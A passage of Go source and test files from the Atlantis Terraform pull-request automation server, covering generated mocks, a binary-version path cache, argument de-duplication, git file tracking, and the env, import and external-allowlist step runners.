pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockKeySerializer { return &VerifierMockKeySerializer{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockKeySerializer struct { mock *MockKeySerializer invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockKeySerializer) Serialize(key *go_version.Version) *MockKeySerializer_Serialize_OngoingVerification { _params := []pegomock.Param{key} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Serialize", _params, verifier.timeout) return &MockKeySerializer_Serialize_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockKeySerializer_Serialize_OngoingVerification struct { mock *MockKeySerializer methodInvocations []pegomock.MethodInvocation } func (c *MockKeySerializer_Serialize_OngoingVerification) GetCapturedArguments() *go_version.Version { key := c.GetAllCapturedArguments() return key[len(key)-1] } func (c *MockKeySerializer_Serialize_OngoingVerification) GetAllCapturedArguments() (_param0 []*go_version.Version) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]*go_version.Version, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(*go_version.Version) } } } return } ================================================ FILE: server/core/runtime/cache/mocks/mock_version_path.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/core/runtime/cache (interfaces: ExecutionVersionCache) package mocks import ( go_version "github.com/hashicorp/go-version" pegomock "github.com/petergtz/pegomock/v4" "reflect" "time" ) type MockExecutionVersionCache struct { fail func(message string, callerSkip ...int) } func NewMockExecutionVersionCache(options ...pegomock.Option) *MockExecutionVersionCache { mock := &MockExecutionVersionCache{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockExecutionVersionCache) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockExecutionVersionCache) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockExecutionVersionCache) Get(key *go_version.Version) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockExecutionVersionCache().") } _params := []pegomock.Param{key} _result := pegomock.GetGenericMockFrom(mock).Invoke("Get", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockExecutionVersionCache) VerifyWasCalledOnce() *VerifierMockExecutionVersionCache { return &VerifierMockExecutionVersionCache{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockExecutionVersionCache) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockExecutionVersionCache { return &VerifierMockExecutionVersionCache{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockExecutionVersionCache) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockExecutionVersionCache { return &VerifierMockExecutionVersionCache{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockExecutionVersionCache) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockExecutionVersionCache { return &VerifierMockExecutionVersionCache{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockExecutionVersionCache struct { mock *MockExecutionVersionCache invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockExecutionVersionCache) Get(key *go_version.Version) *MockExecutionVersionCache_Get_OngoingVerification { _params := []pegomock.Param{key} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Get", _params, verifier.timeout) return &MockExecutionVersionCache_Get_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockExecutionVersionCache_Get_OngoingVerification struct { mock *MockExecutionVersionCache methodInvocations []pegomock.MethodInvocation } func (c *MockExecutionVersionCache_Get_OngoingVerification) GetCapturedArguments() *go_version.Version { key := c.GetAllCapturedArguments() return key[len(key)-1] } func (c *MockExecutionVersionCache_Get_OngoingVerification) GetAllCapturedArguments() (_param0 []*go_version.Version) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]*go_version.Version, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(*go_version.Version) } } } return } ================================================ FILE: server/core/runtime/cache/version_path.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package cache import ( "fmt" "sync" "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/core/runtime/models" ) //go:generate pegomock generate --package mocks -o mocks/mock_version_path.go ExecutionVersionCache //go:generate pegomock generate --package mocks -o mocks/mock_key_serializer.go KeySerializer type ExecutionVersionCache interface { Get(key *version.Version) (string, error) } type KeySerializer interface { Serialize(key *version.Version) (string, error) } type DefaultDiskLookupKeySerializer struct { binaryName string } func (s *DefaultDiskLookupKeySerializer) Serialize(key *version.Version) (string, error) { return fmt.Sprintf("%s%s", s.binaryName, key.Original()), nil } // ExecutionVersionDiskLayer is a cache layer which attempts to find the version on disk, // before calling the configured loading function. type ExecutionVersionDiskLayer struct { versionRootDir models.FilePath exec models.Exec keySerializer KeySerializer loader func(v *version.Version, destPath string) (models.FilePath, error) binaryName string } // Gets a path from cache func (v *ExecutionVersionDiskLayer) Get(key *version.Version) (string, error) { binaryVersion, err := v.keySerializer.Serialize(key) if err != nil { return "", fmt.Errorf("serializing key for disk lookup: %w", err) } // first check for the binary in our path path, err := v.exec.LookPath(binaryVersion) if err == nil { return path, nil } // if the binary is not in our path, let's look in the version root directory binaryPath := v.versionRootDir.Join(binaryVersion) // if the binary doesn't exist there, we need to load it. if binaryPath.NotExists() { // load it into a directory first and then sym link it to the serialized key aka binary version loaderPath := v.versionRootDir.Join(v.binaryName, "versions", key.Original()) loadedBinary, err := v.loader(key, loaderPath.Resolve()) if err != nil { return "", fmt.Errorf("loading %s: %w", loaderPath, err) } binaryPath, err = loadedBinary.Symlink(binaryPath.Resolve()) if err != nil { return "", fmt.Errorf("linking %s to %s: %w", loaderPath, loadedBinary, err) } } return binaryPath.Resolve(), nil } // ExecutionVersionMemoryLayer is an in-memory cache which delegates to a disk layer // if a version's path doesn't exist yet. type ExecutionVersionMemoryLayer struct { // RWMutex allows us to have separation between reader locks/writer locks which is great // since writing of data shouldn't happen too often lock sync.RWMutex diskLayer ExecutionVersionCache cache map[string]string } func (v *ExecutionVersionMemoryLayer) Get(key *version.Version) (string, error) { // If we need to we can rip this out into a KeySerializer impl, for now this // seems overkill serializedKey := key.String() v.lock.RLock() _, ok := v.cache[serializedKey] v.lock.RUnlock() if !ok { v.lock.Lock() defer v.lock.Unlock() value, err := v.diskLayer.Get(key) if err != nil { return "", fmt.Errorf("fetching %s from cache: %w", serializedKey, err) } v.cache[serializedKey] = value } return v.cache[serializedKey], nil } func NewExecutionVersionLayeredLoadingCache( binaryName string, versionRootDir string, loader func(v *version.Version, destPath string) (models.FilePath, error), ) ExecutionVersionCache { diskLayer := &ExecutionVersionDiskLayer{ exec: models.LocalExec{}, versionRootDir: models.LocalFilePath(versionRootDir), keySerializer: &DefaultDiskLookupKeySerializer{binaryName: binaryName}, loader: loader, binaryName: binaryName, } return &ExecutionVersionMemoryLayer{ diskLayer: diskLayer, cache: make(map[string]string), } } ================================================ FILE: server/core/runtime/cache/version_path_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package cache import ( "errors" "path/filepath" "testing" "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" cache_mocks "github.com/runatlantis/atlantis/server/core/runtime/cache/mocks" "github.com/runatlantis/atlantis/server/core/runtime/models" models_mocks "github.com/runatlantis/atlantis/server/core/runtime/models/mocks" . "github.com/runatlantis/atlantis/testing" ) func TestExecutionVersionDiskLayer(t *testing.T) { binaryVersion := "bin1.0" binaryName := "bin" expectedPath := "some/path/bin1.0" versionInput, _ := version.NewVersion("1.0") RegisterMockTestingT(t) mockFilePath := models_mocks.NewMockFilePath() mockExec := models_mocks.NewMockExec() mockSerializer := cache_mocks.NewMockKeySerializer() t.Run("serializer error", func(t *testing.T) { subject := &ExecutionVersionDiskLayer{ versionRootDir: mockFilePath, exec: mockExec, loader: func(v *version.Version, destPath string) (models.FilePath, error) { if destPath == expectedPath && v == versionInput { return models.LocalFilePath(filepath.Join(destPath, "bin")), nil } t.Fatalf("unexpected inputs to loader") return models.LocalFilePath(""), nil }, keySerializer: mockSerializer, } When(mockSerializer.Serialize(versionInput)).ThenReturn("", errors.New("serializer error")) When(mockExec.LookPath(binaryVersion)).ThenReturn(expectedPath, nil) _, err := subject.Get(versionInput) Assert(t, err != nil, "err is expected") mockFilePath.VerifyWasCalled(Never()).Join(Any[string]()) mockFilePath.VerifyWasCalled(Never()).NotExists() mockFilePath.VerifyWasCalled(Never()).Resolve() mockExec.VerifyWasCalled(Never()).LookPath(Any[string]()) }) t.Run("finds in path", func(t *testing.T) { subject := &ExecutionVersionDiskLayer{ versionRootDir: mockFilePath, exec: mockExec, loader: func(v *version.Version, destPath string) (models.FilePath, error) { t.Fatalf("shouldn't be called") return models.LocalFilePath(""), nil }, keySerializer: mockSerializer, } When(mockSerializer.Serialize(versionInput)).ThenReturn(binaryVersion, nil) When(mockExec.LookPath(binaryVersion)).ThenReturn(expectedPath, nil) resultPath, err := subject.Get(versionInput) Ok(t, err) Assert(t, resultPath == expectedPath, "path is expected") mockFilePath.VerifyWasCalled(Never()).Join(Any[string]()) mockFilePath.VerifyWasCalled(Never()).Resolve() mockFilePath.VerifyWasCalled(Never()).NotExists() }) t.Run("finds in version root", func(t *testing.T) { subject := &ExecutionVersionDiskLayer{ versionRootDir: mockFilePath, exec: mockExec, loader: func(v *version.Version, destPath string) (models.FilePath, error) { t.Fatalf("shouldn't be called") return models.LocalFilePath(""), nil }, keySerializer: mockSerializer, } When(mockSerializer.Serialize(versionInput)).ThenReturn(binaryVersion, nil) When(mockExec.LookPath(binaryVersion)).ThenReturn("", errors.New("error")) When(mockFilePath.Join(binaryVersion)).ThenReturn(mockFilePath) When(mockFilePath.NotExists()).ThenReturn(false) When(mockFilePath.Resolve()).ThenReturn(expectedPath) resultPath, err := subject.Get(versionInput) Ok(t, err) Assert(t, resultPath == expectedPath, "path is expected") }) t.Run("loads version", func(t *testing.T) { mockLoaderPath := models_mocks.NewMockFilePath() mockSymlinkPath := models_mocks.NewMockFilePath() mockLoadedBinaryPath := models_mocks.NewMockFilePath() expectedLoaderPath := "/some/path/to/binary" expectedBinaryVersionPath := filepath.Join(expectedPath, binaryVersion) subject := &ExecutionVersionDiskLayer{ versionRootDir: mockFilePath, exec: mockExec, loader: func(v *version.Version, destPath string) (models.FilePath, error) { if destPath == expectedLoaderPath && v == versionInput { return mockLoadedBinaryPath, nil } t.Fatalf("unexpected inputs to loader") return models.LocalFilePath(""), nil }, binaryName: binaryName, keySerializer: mockSerializer, } When(mockSerializer.Serialize(versionInput)).ThenReturn(binaryVersion, nil) When(mockExec.LookPath(binaryVersion)).ThenReturn("", errors.New("error")) When(mockFilePath.Join(binaryVersion)).ThenReturn(mockFilePath) When(mockFilePath.Resolve()).ThenReturn(expectedBinaryVersionPath) When(mockFilePath.NotExists()).ThenReturn(true) When(mockFilePath.Join(binaryName, "versions", versionInput.Original())).ThenReturn(mockLoaderPath) When(mockLoaderPath.Resolve()).ThenReturn(expectedLoaderPath) When(mockLoadedBinaryPath.Symlink(expectedBinaryVersionPath)).ThenReturn(mockSymlinkPath, nil) When(mockSymlinkPath.Resolve()).ThenReturn(expectedPath) resultPath, err := subject.Get(versionInput) Ok(t, err) Assert(t, resultPath == expectedPath, "path is expected") }) t.Run("loader error", func(t *testing.T) { mockLoaderPath := models_mocks.NewMockFilePath() expectedLoaderPath := "/some/path/to/binary" subject := &ExecutionVersionDiskLayer{ versionRootDir: mockFilePath, exec: mockExec, loader: func(v *version.Version, destPath string) (models.FilePath, error) { if destPath == expectedLoaderPath && v == versionInput { return models.LocalFilePath(""), errors.New("error") } t.Fatalf("unexpected inputs to loader") return models.LocalFilePath(""), nil }, keySerializer: mockSerializer, binaryName: binaryName, } When(mockSerializer.Serialize(versionInput)).ThenReturn(binaryVersion, nil) When(mockExec.LookPath(binaryVersion)).ThenReturn("", errors.New("error")) When(mockFilePath.Join(binaryVersion)).ThenReturn(mockFilePath) When(mockFilePath.NotExists()).ThenReturn(true) When(mockFilePath.Join(binaryName, "versions", versionInput.Original())).ThenReturn(mockLoaderPath) When(mockLoaderPath.Resolve()).ThenReturn(expectedLoaderPath) _, err := subject.Get(versionInput) Assert(t, err != nil, "path is expected") }) } func TestExecutionVersionMemoryLayer(t *testing.T) { expectedPath := "some/path" versionInput, _ := version.NewVersion("1.0") RegisterMockTestingT(t) mockLayer := cache_mocks.NewMockExecutionVersionCache() cache := make(map[string]string) subject := &ExecutionVersionMemoryLayer{ diskLayer: mockLayer, cache: cache, } t.Run("exists in cache", func(t *testing.T) { cache[versionInput.String()] = expectedPath resultPath, err := subject.Get(versionInput) Ok(t, err) Assert(t, resultPath == expectedPath, "path is expected") }) t.Run("disk layer error", func(t *testing.T) { delete(cache, versionInput.String()) When(mockLayer.Get(versionInput)).ThenReturn("", errors.New("error")) _, err := subject.Get(versionInput) Assert(t, err != nil, "error is expected") }) t.Run("disk layer success", func(t *testing.T) { delete(cache, versionInput.String()) When(mockLayer.Get(versionInput)).ThenReturn(expectedPath, nil) resultPath, err := subject.Get(versionInput) Ok(t, err) Assert(t, resultPath == expectedPath, "path is expected") Assert(t, cache[versionInput.String()] == resultPath, "path is cached") }) } ================================================ FILE: server/core/runtime/common/common.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package common import ( "os" "os/exec" "slices" "strings" ) // Looks for any argument in commandArgs that has been overridden by an entry in extra args and replaces them // any extraArgs that are not used as overrides are added yo the end of the final string slice func DeDuplicateExtraArgs(commandArgs []string, extraArgs []string) []string { // work if any of the core args have been overridden finalArgs := []string{} usedExtraArgs := []string{} for _, arg := range commandArgs { override := "" prefix := arg argSplit := strings.Split(arg, "=") if len(argSplit) == 2 { prefix = argSplit[0] } for _, extraArgOrig := range extraArgs { extraArg := extraArgOrig if strings.HasPrefix(extraArg, prefix) { override = extraArgOrig break } if strings.HasPrefix(extraArg, "--") { extraArg = extraArgOrig[1:] if strings.HasPrefix(extraArg, prefix) { override = extraArgOrig break } } if strings.HasPrefix(prefix, "--") { prefixWithoutDash := prefix[1:] if strings.HasPrefix(extraArg, prefixWithoutDash) { override = extraArgOrig break } } } if override != "" { finalArgs = append(finalArgs, override) usedExtraArgs = append(usedExtraArgs, override) } else { finalArgs = append(finalArgs, arg) } } // add any extra args that are not overrides for _, extraArg := range extraArgs { if !slices.Contains(usedExtraArgs, extraArg) { finalArgs = append(finalArgs, extraArg) } } return finalArgs } // returns true if a file at the passed path exists func FileExists(path string) bool { if _, err := os.Stat(path); err != nil { if os.IsNotExist(err) { return false } } return true } // returns true if the given file is tracked by git func IsFileTracked(cloneDir string, filename string) (bool, error) { cmd := exec.Command("git", "ls-files", filename) cmd.Dir = cloneDir output, err := cmd.CombinedOutput() if err != nil { return false, err } return len(output) > 0, nil } ================================================ FILE: server/core/runtime/common/common_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package common import ( "os/exec" "reflect" "strings" "testing" . "github.com/runatlantis/atlantis/testing" ) func Test_DeDuplicateExtraArgs(t *testing.T) { cases := []struct { description string inputArgs []string extraArgs []string expectedArgs []string }{ { "No extra args", []string{"init", "-input=false", "-no-color", "-upgrade"}, []string{}, []string{"init", "-input=false", "-no-color", "-upgrade"}, }, { "Override -upgrade", []string{"init", "-input=false", "-no-color", "-upgrade"}, []string{"-upgrade=false"}, []string{"init", "-input=false", "-no-color", "-upgrade=false"}, }, { "Override -input", []string{"init", "-input=false", "-no-color", "-upgrade"}, []string{"-input=true"}, []string{"init", "-input=true", "-no-color", "-upgrade"}, }, { "Override -input and -upgrade", []string{"init", "-input=false", "-no-color", "-upgrade"}, []string{"-input=true", "-upgrade=false"}, []string{"init", "-input=true", "-no-color", "-upgrade=false"}, }, { "Non duplicate extra args", []string{"init", "-input=false", "-no-color", "-upgrade"}, []string{"extra", "args"}, []string{"init", "-input=false", "-no-color", "-upgrade", "extra", "args"}, }, { "Override upgrade with extra args", []string{"init", "-input=false", "-no-color", "-upgrade"}, []string{"extra", "args", "-upgrade=false"}, []string{"init", "-input=false", "-no-color", "-upgrade=false", "extra", "args"}, }, { "Override -input (using --input)", []string{"init", "-input=false", "-no-color", "-upgrade"}, []string{"--input=true"}, []string{"init", "--input=true", "-no-color", "-upgrade"}, }, { "Override -input (using --input) and -upgrade (using --upgrade)", []string{"init", "-input=false", "-no-color", "-upgrade"}, []string{"--input=true", "--upgrade=false"}, []string{"init", "--input=true", "-no-color", "--upgrade=false"}, }, { "Override long form flag ", []string{"init", "--input=false", "-no-color", "-upgrade"}, []string{"--input=true"}, []string{"init", "--input=true", "-no-color", "-upgrade"}, }, { "Override --input using (-input) ", []string{"init", "--input=false", "-no-color", "-upgrade"}, []string{"-input=true"}, []string{"init", "-input=true", "-no-color", "-upgrade"}, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { finalArgs := DeDuplicateExtraArgs(c.inputArgs, c.extraArgs) if !reflect.DeepEqual(c.expectedArgs, finalArgs) { t.Fatalf("finalArgs (%v) does not match expectedArgs (%v)", finalArgs, c.expectedArgs) } }) } } func runCmd(t *testing.T, dir string, name string, args ...string) string { t.Helper() cpCmd := exec.Command(name, args...) cpCmd.Dir = dir cpOut, err := cpCmd.CombinedOutput() Assert(t, err == nil, "err running %q: %s", strings.Join(append([]string{name}, args...), " "), cpOut) return string(cpOut) } func initRepo(t *testing.T) string { repoDir := t.TempDir() runCmd(t, repoDir, "git", "init") runCmd(t, repoDir, "touch", ".gitkeep") runCmd(t, repoDir, "git", "add", ".gitkeep") runCmd(t, repoDir, "git", "config", "--local", "user.email", "atlantisbot@runatlantis.io") runCmd(t, repoDir, "git", "config", "--local", "user.name", "atlantisbot") runCmd(t, repoDir, "git", "config", "--local", "commit.gpgsign", "false") runCmd(t, repoDir, "git", "commit", "-m", "initial commit") runCmd(t, repoDir, "git", "branch", "branch") return repoDir } func TestIsFileTracked(t *testing.T) { // Initialize the git repo. repoDir := initRepo(t) // file1 should not be tracked tracked, err := IsFileTracked(repoDir, "file1") Ok(t, err) Equals(t, tracked, false) // stage file1 runCmd(t, repoDir, "touch", "file1") runCmd(t, repoDir, "git", "add", "file1") runCmd(t, repoDir, "git", "commit", "-m", "add file1") // file1 should be tracked tracked, err = IsFileTracked(repoDir, "file1") Ok(t, err) Equals(t, tracked, true) // .terraform.lock.hcl should not be tracked tracked, err = IsFileTracked(repoDir, ".terraform.lock.hcl") Ok(t, err) Equals(t, tracked, false) // stage .terraform.lock.hcl runCmd(t, repoDir, "touch", ".terraform.lock.hcl") runCmd(t, repoDir, "git", "add", ".terraform.lock.hcl") runCmd(t, repoDir, "git", "commit", "-m", "add .terraform.lock.hcl") // file1 should be tracked tracked, err = IsFileTracked(repoDir, ".terraform.lock.hcl") Ok(t, err) Equals(t, tracked, true) } ================================================ FILE: server/core/runtime/env_step_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "regexp" "strings" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/events/command" ) // EnvStepRunner set environment variables. type EnvStepRunner struct { RunStepRunner *RunStepRunner } // Run runs the env step command. // value is the value for the environment variable. If set this is returned as // the value. Otherwise command is run and its output is the value returned. func (r *EnvStepRunner) Run( ctx command.ProjectContext, shell *valid.CommandShell, command string, value string, path string, envs map[string]string, ) (string, error) { if value != "" { return value, nil } // Pass `false` for streamOutput because this isn't interesting to the user reading the build logs // in the web UI. res, err := r.RunStepRunner.Run(ctx, shell, command, path, envs, false, []valid.PostProcessRunOutputOption{valid.PostProcessRunOutputShow}, []*regexp.Regexp{}) // Trim newline from res to support running `echo env_value` which has // a newline. We don't recommend users run echo -n env_value to remove the // newline because -n doesn't work in the sh shell which is what we use // to run commands. return strings.TrimSuffix(res, "\n"), err } ================================================ FILE: server/core/runtime/env_step_runner_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime_test import ( "testing" "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/core/runtime" "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/core/terraform/mocks" tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" jobmocks "github.com/runatlantis/atlantis/server/jobs/mocks" "github.com/runatlantis/atlantis/server/logging" . "github.com/petergtz/pegomock/v4" . "github.com/runatlantis/atlantis/testing" ) func TestEnvStepRunner_Run(t *testing.T) { cases := []struct { Command string Value string ProjectName string ExpValue string ExpErr string }{ { Command: "echo 123", ExpValue: "123", }, { Value: "test", ExpValue: "test", }, { Command: "echo 321", Value: "test", ExpValue: "test", }, } RegisterMockTestingT(t) tfClient := tfclientmocks.NewMockClient() mockDownloader := mocks.NewMockDownloader() tfDistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, err := version.NewVersion("0.12.0") Ok(t, err) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() runStepRunner := runtime.RunStepRunner{ TerraformExecutor: tfClient, DefaultTFDistribution: tfDistribution, DefaultTFVersion: tfVersion, ProjectCmdOutputHandler: projectCmdOutputHandler, } envRunner := runtime.EnvStepRunner{ RunStepRunner: &runStepRunner, } for _, c := range cases { t.Run(c.Command, func(t *testing.T) { tmpDir := t.TempDir() ctx := command.ProjectContext{ BaseRepo: models.Repo{ Name: "basename", Owner: "baseowner", }, HeadRepo: models.Repo{ Name: "headname", Owner: "headowner", }, Pull: models.PullRequest{ Num: 2, HeadBranch: "add-feat", BaseBranch: "main", Author: "acme", }, User: models.User{ Username: "acme-user", }, Log: logging.NewNoopLogger(t), Workspace: "myworkspace", RepoRelDir: "mydir", TerraformVersion: tfVersion, ProjectName: c.ProjectName, } value, err := envRunner.Run(ctx, nil, c.Command, c.Value, tmpDir, map[string]string(nil)) if c.ExpErr != "" { ErrContains(t, c.ExpErr, err) return } Ok(t, err) Equals(t, c.ExpValue, value) }) } } ================================================ FILE: server/core/runtime/executor.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( version "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/logging" ) //go:generate pegomock generate --package mocks -o mocks/mock_versionedexecutorworkflow.go VersionedExecutorWorkflow // VersionedExecutorWorkflow defines a versioned execution for a given project context type VersionedExecutorWorkflow interface { ExecutorVersionEnsurer Executor } // Executor runs an executable with provided environment variables and arguments and returns stdout type Executor interface { Run(ctx command.ProjectContext, executablePath string, envs map[string]string, workdir string, extraArgs []string) (string, error) } // ExecutorVersionEnsurer ensures a given version exists and outputs a path to the executable type ExecutorVersionEnsurer interface { EnsureExecutorVersion(log logging.SimpleLogging, v *version.Version) (string, error) } ================================================ FILE: server/core/runtime/external_team_allowlist_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "context" "fmt" "os" "os/exec" "strings" "github.com/runatlantis/atlantis/server/events/models" ) //go:generate pegomock generate --package mocks -o mocks/mock_external_team_allowlist_runner.go ExternalTeamAllowlistRunner type ExternalTeamAllowlistRunner interface { Run(ctx models.TeamAllowlistCheckerContext, shell, shellArgs, command string) (string, error) } type DefaultExternalTeamAllowlistRunner struct{} func (r DefaultExternalTeamAllowlistRunner) Run(ctx models.TeamAllowlistCheckerContext, shell, shellArgs, command string) (string, error) { shellArgsSlice := append(strings.Split(shellArgs, " "), command) cmd := exec.CommandContext(context.TODO(), shell, shellArgsSlice...) // #nosec baseEnvVars := os.Environ() customEnvVars := map[string]string{ "BASE_BRANCH_NAME": ctx.Pull.BaseBranch, "BASE_REPO_NAME": ctx.BaseRepo.Name, "BASE_REPO_OWNER": ctx.BaseRepo.Owner, "COMMENT_ARGS": strings.Join(ctx.EscapedCommentArgs, ","), "HEAD_BRANCH_NAME": ctx.Pull.HeadBranch, "HEAD_COMMIT": ctx.Pull.HeadCommit, "HEAD_REPO_NAME": ctx.HeadRepo.Name, "HEAD_REPO_OWNER": ctx.HeadRepo.Owner, "PULL_AUTHOR": ctx.Pull.Author, "PULL_NUM": fmt.Sprintf("%d", ctx.Pull.Num), "PULL_URL": ctx.Pull.URL, "USER_NAME": ctx.User.Username, "COMMAND_NAME": ctx.CommandName, "PROJECT_NAME": ctx.ProjectName, "REPO_ROOT": ctx.RepoDir, "REPO_REL_PATH": ctx.RepoRelDir, } finalEnvVars := baseEnvVars for key, val := range customEnvVars { finalEnvVars = append(finalEnvVars, fmt.Sprintf("%s=%s", key, val)) } cmd.Env = finalEnvVars out, err := cmd.CombinedOutput() if err != nil { err = fmt.Errorf("%s: running %q: \n%s", err, shell+" "+shellArgs+" "+command, out) ctx.Log.Debug("error: %s", err) return string(out), err } return strings.TrimSpace(string(out)), nil } ================================================ FILE: server/core/runtime/import_step_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "os" "path/filepath" version "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/utils" ) type importStepRunner struct { terraformExecutor TerraformExec defaultTFDistribution terraform.Distribution defaultTFVersion *version.Version } func NewImportStepRunner(terraformExecutor TerraformExec, defaultTfDistribution terraform.Distribution, defaultTfVersion *version.Version) Runner { runner := &importStepRunner{ terraformExecutor: terraformExecutor, defaultTFDistribution: defaultTfDistribution, defaultTFVersion: defaultTfVersion, } return NewWorkspaceStepRunnerDelegate(terraformExecutor, defaultTfDistribution, defaultTfVersion, runner) } func (p *importStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { tfDistribution := p.defaultTFDistribution tfVersion := p.defaultTFVersion if ctx.TerraformDistribution != nil { tfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution) } if ctx.TerraformVersion != nil { tfVersion = ctx.TerraformVersion } importCmd := []string{"import"} importCmd = append(importCmd, extraArgs...) importCmd = append(importCmd, ctx.EscapedCommentArgs...) out, err := p.terraformExecutor.RunCommandWithVersion(ctx, filepath.Clean(path), importCmd, envs, tfDistribution, tfVersion, ctx.Workspace) // If the import was successful and a plan file exists, delete the plan. planPath := filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName)) if err == nil { if _, planPathErr := os.Stat(planPath); !os.IsNotExist(planPathErr) { ctx.Log.Info("import successful, deleting planfile") if removeErr := utils.RemoveIgnoreNonExistent(planPath); removeErr != nil { ctx.Log.Warn("failed to delete planfile after successful import: %s", removeErr) } } } return out, err } ================================================ FILE: server/core/runtime/import_step_runner_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "fmt" "os" "path/filepath" "testing" "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" tf "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/core/terraform/mocks" tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestImportStepRunner_Run_Success(t *testing.T) { logger := logging.NewNoopLogger(t) workspace := "default" tmpDir := t.TempDir() planPath := filepath.Join(tmpDir, fmt.Sprintf("%s.tfplan", workspace)) err := os.WriteFile(planPath, nil, 0600) Ok(t, err) context := command.ProjectContext{ Log: logger, EscapedCommentArgs: []string{"-var", "foo=bar", "addr", "id"}, Workspace: workspace, } RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, _ := version.NewVersion("0.15.0") s := NewImportStepRunner(terraform, tfDistribution, tfVersion) When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). ThenReturn("output", nil) output, err := s.Run(context, []string{}, tmpDir, map[string]string(nil)) Ok(t, err) Equals(t, "output", output) commands := []string{"import", "-var", "foo=bar", "addr", "id"} terraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, commands, map[string]string(nil), tfDistribution, tfVersion, workspace) _, err = os.Stat(planPath) Assert(t, os.IsNotExist(err), "planfile should be deleted") } func TestImportStepRunner_Run_Workspace(t *testing.T) { logger := logging.NewNoopLogger(t) workspace := "something" tmpDir := t.TempDir() planPath := filepath.Join(tmpDir, fmt.Sprintf("%s.tfplan", workspace)) err := os.WriteFile(planPath, nil, 0600) Ok(t, err) context := command.ProjectContext{ Log: logger, EscapedCommentArgs: []string{"-var", "foo=bar", "addr", 